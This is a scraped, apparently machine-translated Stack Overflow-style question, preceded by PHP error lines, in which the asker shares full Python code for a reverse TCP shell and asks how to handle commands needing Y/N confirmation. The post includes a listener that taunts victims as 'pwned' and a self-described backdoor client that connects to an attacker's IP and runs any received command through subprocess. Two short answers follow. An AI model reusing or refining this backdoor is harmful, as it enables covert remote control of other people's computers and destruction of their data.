Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/sockets/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 如何在反向shell中继续执行命令?_Python_Sockets_Tcp_Subprocess - Fatal编程技术网

Python 如何在反向shell中继续执行命令?

Python 如何在反向shell中继续执行命令?,python,sockets,tcp,subprocess,Python,Sockets,Tcp,Subprocess,我用python构建了一个简单的反向TCP shell,它工作得很好,除非我尝试运行一个需要确认器(如“Y”或“N”)的命令,如shutdown或rm。我不能输入“Y”或“N”,因为它将其视为一个单独的命令,而不是上一个命令的后续命令,如果这有意义的话 以下是侦听器的代码: #Server side import socket host = "0.0.0.0" port = 9999 buffer = 10240 s = socket.socket() s.bind((

我用python构建了一个简单的反向TCP shell,它工作得很好,除非我尝试运行一个需要确认器(如“Y”或“N”)的命令,如shutdown或rm。我不能输入“Y”或“N”,因为它将其视为一个单独的命令,而不是上一个命令的后续命令,如果这有意义的话

以下是侦听器的代码:

#Server side

import socket

host = "0.0.0.0"
port = 9999
buffer = 10240
s = socket.socket()

s.bind((host, port))
s.listen(5)
print(f"Listening as {host}:{port}...")
client_socket, client_address = s.accept()

print(f"{client_address[0]}:{client_address[1]} Connected!")
message = "You have been pwned by Mackenzie Blackaby... Enjoy your dead computer".encode()
client_socket.send(message)

while True:
    command = input("Enter the command to pwn your opponent: ")
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    results = client_socket.recv(buffer).decode()
    print(results)
client_socket.close()
s.close()
这是后门的代码:

#Client side

import socket
import subprocess

host = "My public IP, removed for privacy due to port forwarding"
port = 9999
buffer = 10240

s = socket.socket()
s.connect((host, port))
message = s.recv(buffer).decode()
print(message)

while True:
    command = s.recv(buffer).decode()
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    s.send(output.encode())
s.close

  • 所以你的任务需要一个确认人,对吗
  • 您可以在获取初始输入后并在将消息发送到服务器之前立即使用if-else创建确认器
  • 检查“Y”或“是”并发送消息,否则发送其他消息或提示用户发送其他图像并再次输入。(发送部分或其他消息很重要,因为它是一个半双工系统

首先,您的代码犯了一个常见的错误,即假定SOCK\u流遵守消息边界。事实并非如此,因此您的代码能够正常工作这一事实是幸运的。所以,您需要一个在SOCK_流之上运行的协议。该协议应包含有关命令是等待更多输入还是完成的信息。